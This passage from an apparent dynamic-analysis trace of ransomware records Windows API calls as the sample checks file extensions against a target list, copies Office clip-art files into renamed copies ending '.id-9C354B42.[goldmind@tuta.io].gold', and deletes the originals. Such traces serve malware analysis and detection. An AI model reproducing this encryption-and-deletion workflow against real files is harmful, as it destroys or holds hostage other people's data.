Office\\CLIPART\\PUB60COR\\J0200467.WMF") returned 63 [0114.793] lstrlenW (lpString=".doc") returned 4 [0114.794] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.794] lstrlenW (lpString=".docx") returned 5 [0114.794] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0114.794] lstrlenW (lpString=".pdf") returned 4 [0114.794] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.794] lstrlenW (lpString=".xls") returned 4 [0114.794] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.794] lstrlenW (lpString=".xlsx") returned 5 [0114.794] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0114.794] lstrlenW (lpString=".ppt") returned 4 [0114.794] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF") returned 63 [0114.794] lstrlenW (lpString=".zip") returned 4 [0114.794] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.794] lstrlenW (lpString=".rar") returned 4 [0114.794] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.794] lstrlenW (lpString=".bz2") returned 4 [0114.794] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.794] lstrlenW (lpString=".7z") returned 3 [0114.794] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF") returned 63 [0114.794] lstrlenW (lpString=".dbf") returned 4 [0114.794] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF") returned 63 [0114.794] lstrlenW (lpString=".1cd") returned 4 [0114.794] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF") returned 63 [0114.794] lstrlenW (lpString=".jpg") returned 4 [0114.794] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.794] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0114.794] lstrlenW (lpString="J0200521.WMF") returned 12 [0114.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200521.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0114.795] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=10046) returned 1 [0114.795] CloseHandle (hObject=0x364) returned 1 [0114.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200521.wmf")) returned 0x20 [0114.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200521.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200521.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0114.795] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.795] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200521.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0114.796] GetLastError () returned 0x0 [0114.796] ReadFile (in: hFile=0x364, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x273e, lpOverlapped=0x0) returned 1 [0114.797] WriteFile (in: hFile=0x3ec, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x2740, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x2740, lpOverlapped=0x0) returned 1 [0114.798] ReadFile (in: hFile=0x364, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.798] WriteFile (in: hFile=0x3ec, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0114.798] SetEndOfFile (hFile=0x3ec) returned 1 [0114.799] CloseHandle (hObject=0x3ec) returned 1 [0114.799] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.799] SetEndOfFile (hFile=0x364) returned 1 [0114.800] CloseHandle (hObject=0x364) returned 1 [0114.800] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.801] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200521.wmf")) returned 1 [0114.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF") returned 63 [0114.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF") returned 63 [0114.801] lstrlenW (lpString=".doc") returned 4 [0114.801] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.801] lstrlenW (lpString=".docx") returned 5 [0114.801] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0114.801] lstrlenW (lpString=".pdf") returned 4 [0114.801] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.801] lstrlenW (lpString=".xls") returned 4 [0114.801] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.801] lstrlenW (lpString=".xlsx") returned 5 [0114.801] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0114.802] lstrlenW (lpString=".ppt") returned 4 [0114.802] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF") returned 63 [0114.802] lstrlenW (lpString=".zip") returned 4 [0114.802] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.802] lstrlenW (lpString=".rar") returned 4 [0114.802] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.802] lstrlenW (lpString=".bz2") returned 4 [0114.802] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.802] lstrlenW (lpString=".7z") returned 3 [0114.802] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF") returned 63 [0114.802] lstrlenW (lpString=".dbf") returned 4 [0114.802] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF") returned 63 [0114.802] lstrlenW (lpString=".1cd") returned 4 [0114.802] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF") returned 63 [0114.802] lstrlenW (lpString=".jpg") returned 4 [0114.802] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF") returned 63 [0114.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF") returned 63 [0114.802] lstrlenW (lpString=".doc") returned 4 [0114.802] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.802] lstrlenW (lpString=".docx") returned 5 [0114.802] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0114.802] lstrlenW (lpString=".pdf") returned 4 [0114.802] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.802] lstrlenW (lpString=".xls") returned 4 [0114.802] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.802] lstrlenW (lpString=".xlsx") returned 5 [0114.802] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0114.802] lstrlenW (lpString=".ppt") returned 4 [0114.802] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF") returned 63 [0114.802] lstrlenW (lpString=".zip") returned 4 [0114.802] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.802] lstrlenW (lpString=".rar") returned 4 [0114.802] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.802] lstrlenW (lpString=".bz2") returned 4 [0114.802] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.802] lstrlenW (lpString=".7z") returned 3 [0114.802] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF") returned 63 [0114.802] lstrlenW (lpString=".dbf") returned 4 [0114.802] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF") returned 63 [0114.802] lstrlenW (lpString=".1cd") returned 4 [0114.802] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF") returned 63 [0114.802] lstrlenW (lpString=".jpg") returned 4 [0114.802] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.803] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0114.803] lstrlenW (lpString="J0200611.WMF") returned 12 [0114.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200611.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0114.803] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=3894) returned 1 [0114.803] CloseHandle (hObject=0x364) returned 1 [0114.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200611.wmf")) returned 0x20 [0114.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200611.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200611.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0114.804] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.804] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200611.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0114.804] GetLastError () returned 0x0 [0114.804] ReadFile (in: hFile=0x364, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0xf36, lpOverlapped=0x0) returned 1 [0114.806] WriteFile (in: hFile=0x3ec, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xf40, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xf40, lpOverlapped=0x0) returned 1 [0114.806] ReadFile (in: hFile=0x364, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.806] WriteFile (in: hFile=0x3ec, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0114.807] SetEndOfFile (hFile=0x3ec) returned 1 [0114.807] CloseHandle (hObject=0x3ec) returned 1 [0114.807] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.807] SetEndOfFile (hFile=0x364) returned 1 [0114.808] CloseHandle (hObject=0x364) returned 1 [0114.808] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.809] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200611.wmf")) returned 1 [0114.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF") returned 63 [0114.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF") returned 63 [0114.810] lstrlenW (lpString=".doc") returned 4 [0114.810] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.810] lstrlenW (lpString=".docx") returned 5 [0114.810] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0114.810] lstrlenW (lpString=".pdf") returned 4 [0114.810] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.810] lstrlenW (lpString=".xls") returned 4 [0114.810] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.810] lstrlenW (lpString=".xlsx") returned 5 [0114.810] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0114.810] lstrlenW (lpString=".ppt") returned 4 [0114.810] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF") returned 63 [0114.810] lstrlenW (lpString=".zip") returned 4 [0114.810] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.810] lstrlenW (lpString=".rar") returned 4 [0114.810] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.810] lstrlenW (lpString=".bz2") returned 4 [0114.810] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.810] lstrlenW (lpString=".7z") returned 3 [0114.810] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF") returned 63 [0114.810] lstrlenW (lpString=".dbf") returned 4 [0114.810] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF") returned 63 [0114.810] lstrlenW (lpString=".1cd") returned 4 [0114.810] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF") returned 63 [0114.810] lstrlenW (lpString=".jpg") returned 4 [0114.810] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF") returned 63 [0114.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF") returned 63 [0114.810] lstrlenW (lpString=".doc") returned 4 [0114.810] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.810] lstrlenW (lpString=".docx") returned 5 [0114.810] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0114.810] lstrlenW (lpString=".pdf") returned 4 [0114.810] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.810] lstrlenW (lpString=".xls") returned 4 [0114.810] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.810] lstrlenW (lpString=".xlsx") returned 5 [0114.810] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0114.810] lstrlenW (lpString=".ppt") returned 4 [0114.810] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF") returned 63 [0114.811] lstrlenW (lpString=".zip") returned 4 [0114.811] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.811] lstrlenW (lpString=".rar") returned 4 [0114.811] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.811] lstrlenW (lpString=".bz2") returned 4 [0114.811] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.811] lstrlenW (lpString=".7z") returned 3 [0114.811] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF") returned 63 [0114.811] lstrlenW (lpString=".dbf") returned 4 [0114.811] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF") returned 63 [0114.811] lstrlenW (lpString=".1cd") returned 4 [0114.811] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF") returned 63 [0114.811] lstrlenW (lpString=".jpg") returned 4 [0114.811] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.811] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0114.811] lstrlenW (lpString="J0202045.JPG") returned 12 [0114.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0202045.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0114.812] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=42254) returned 1 [0114.812] CloseHandle (hObject=0x364) returned 1 [0114.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0202045.jpg")) returned 0x20 [0114.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0202045.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0202045.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0114.812] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.812] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0202045.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0115.179] GetLastError () returned 0x0 [0115.179] ReadFile (in: hFile=0x364, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0xa50e, lpOverlapped=0x0) returned 1 [0115.191] WriteFile (in: hFile=0x198, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xa510, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xa510, lpOverlapped=0x0) returned 1 [0115.192] ReadFile (in: hFile=0x364, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.192] WriteFile (in: hFile=0x198, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0115.192] SetEndOfFile (hFile=0x198) returned 1 [0115.192] CloseHandle (hObject=0x198) returned 1 [0115.192] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.192] SetEndOfFile (hFile=0x364) returned 1 [0115.194] CloseHandle (hObject=0x364) returned 1 [0115.194] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.195] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0202045.jpg")) returned 1 [0115.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG") returned 63 [0115.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG") returned 63 [0115.196] lstrlenW (lpString=".doc") returned 4 [0115.196] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0115.196] lstrlenW (lpString=".docx") returned 5 [0115.196] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0115.196] lstrlenW (lpString=".pdf") returned 4 [0115.196] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0115.196] lstrlenW (lpString=".xls") returned 4 [0115.196] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0115.196] lstrlenW (lpString=".xlsx") returned 5 [0115.196] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0115.196] lstrlenW (lpString=".ppt") returned 4 [0115.196] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0115.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG") returned 63 [0115.196] lstrlenW (lpString=".zip") returned 4 [0115.196] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0115.196] lstrlenW (lpString=".rar") returned 4 [0115.196] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0115.196] lstrlenW (lpString=".bz2") returned 4 [0115.196] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0115.196] lstrlenW (lpString=".7z") returned 3 [0115.196] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0115.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG") returned 63 [0115.196] lstrlenW (lpString=".dbf") returned 4 [0115.196] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0115.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG") returned 63 [0115.196] lstrlenW (lpString=".1cd") returned 4 [0115.196] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0115.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG") returned 63 [0115.196] lstrlenW (lpString=".jpg") returned 4 [0115.196] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0115.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG") returned 63 [0115.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG") returned 63 [0115.196] lstrlenW (lpString=".doc") returned 4 [0115.196] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0115.196] lstrlenW (lpString=".docx") returned 5 [0115.196] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0115.196] lstrlenW (lpString=".pdf") returned 4 [0115.196] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0115.196] lstrlenW (lpString=".xls") returned 4 [0115.196] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0115.196] lstrlenW (lpString=".xlsx") returned 5 [0115.196] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0115.196] lstrlenW (lpString=".ppt") returned 4 [0115.196] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0115.196] lstrlenW (lpString="C:\\Program Files\\Microsoft 